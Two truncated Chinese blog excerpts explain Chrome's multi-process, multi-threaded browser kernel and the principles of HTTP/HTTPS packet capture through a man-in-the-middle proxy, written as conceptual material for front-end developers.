自行验证查看,可以看到chrome的任务管理器中有多个进程(分别是每一个Tab页面有一个独立的进程,以及一个主进程) 然后能看到每个进程的内存资源信息以及cpu占有率。 2. 浏览器内核是多线程的 每一个tab页面可以看作是浏览器内核的一个进程,然后这个进程是多线程的,它有几大类子线程 GUI渲染线程:负责渲染浏览器界面,解析HTML,CSS,构建DOM树和RenderObject树,布局和绘制等。GUI渲染线程与JS引擎线程是互斥的。 JS引擎线程:也叫 JS 内核,负责解析执行 JS 脚本程序的主线程,例如 V8 引擎。JS引擎一直等待着任务队列中任务的到来,然后加以处理,一个Tab页(renderer进程)中无论什么时候都只有一个JS线程在运行JS程序。 事件触发线程:属于浏览器内核线程,主要用于控制事件,例如鼠标、键盘等,当事件被触发时,就会把事件的处理函数推进事件队列,等待 JS 引擎线程执行。 定时器触发线程:主要控制 setInterval和 setTimeout,用来计时,计时完毕后,则把定时器的处理函数推进事件队列中,等待 JS 引擎线程。 异步http请求线程:通过XMLHttpRequest连接后,通过浏览器新开的一个线程,监控readyState状态变更时,如果设置了该状态的回调函数,则将该状态的处理函数推进事件队列中,等待JS引擎线程执行。 ...

July 28, 2025

抓包工具

抓包的原理 什么是抓包? 抓包就是将网络传输发送与接收的数据包进行截获、重发、编辑、转存等操作,通过抓包可以: 分析网络问题 业务分析 分析网络信息流通量 网络大数据金融风险控制 探测企图入侵网络的攻击 探测由内部和外部的用户滥用网络资源 探测网络入侵后的影响 监测链接互联网宽频流量 监测网络使用流量(包括内部用户,外部用户和系统) 监测互联网和用户电脑的安全状态 渗透与欺骗 … 回顾下计算机网络知识,数据在网络上是以很小的帧的单位传输的,帧通过特定的称为网络驱动程序的程序进行成型,然后通过网卡发送到网线上,通过网线到达目的机器,在目的机器的一端执行相反的过程。接收端机器的以太网捕获到这些帧,并告诉操作系统帧已到达,然后对其进行存储。在这个传输和接收的过程,就可以使用抓包工具(Sniffers)进行抓包,作为前端开发者,通常是抓取应用层的 HTTP/HTTPS 的包。 HTTP/HTTPS 抓包原理 HTTP/HTTPS 是应用层使用的通信协议,常见的应用层体系结构是客户端-服务器体系。 对运行在不同端系统上的客户端程序和服务端程序是如何互相通信的么?实际上,在操作系统上的术语中,进行通信的实际上是进程而不是程序,一个进程可以被认为是运行在端系统中的一个程序。 在 web 应用程序中,一个客户浏览器进程与一台服务器进程进行会话交换报文。 浏览器进程需要知道接收进程的主机地址,以及定义在目的主机中的接收进程的标识符,也就是目的端口。 多数应用程序由通信进程对组成,每对中的两个进程互相发送报文。进程通过一个称为套接字的软件接口向网络发送报文和从网络接收报文。 进程可以类比一座房子,而它的套接字可以是它的门,套接字是应用层与运输层之间的端口。 知道了两个进程的通信流程,我们要怎么抓包呢?举一个生活中的例子,小明暗恋小雯,于是他写了一封情书,但他有点害羞,找了小雯的好朋友小花帮忙传递情书。这个时候,小花可以负责小雯与小明之间的情书传递,作为中间人,她可以偷偷查看他们的情书内容。 思路就是设置一个中间人进程负责抓包,每次目标进程之间的会话都先与中间人进程通信,再进行转发。 HTTP 抓包原理 在 http 标准中,没有对通信端身份验证的标准。对于服务器来说,它接收的 HTTP 请求报文只要格式符合规范,就发送响应报文。 对于客户端来说也是如此,它无法校验服务器的身份,比如它连接的 http://www.jecyu.com 的主机,但由于中间节点的存在,最终连接的可能是 http://www.jerry.com 的主机。 因此,对于 HTTP 抓包,无需做过多的处理,只需要让中间人负责转发客户端和服务端的数据包。 HTTPS 抓包原理 HTTP 是明文传输,容易受到中间人攻击,不安全。 HTTPS 语义仍然是 HTTP,只不过是在 HTTP 协议栈中 http 与 tcp 之间插入安全层 SSL/TSL。 安全层采用对称加密的方式加密传输数据和非对称加密的方式来传输对称密钥,解决 http 数据没有加密、无法验证身份、数据容易纂改三个核心问题。 HTTP + 加密 + 认证 + 完整性保护 = HTTPS ...

July 28, 2025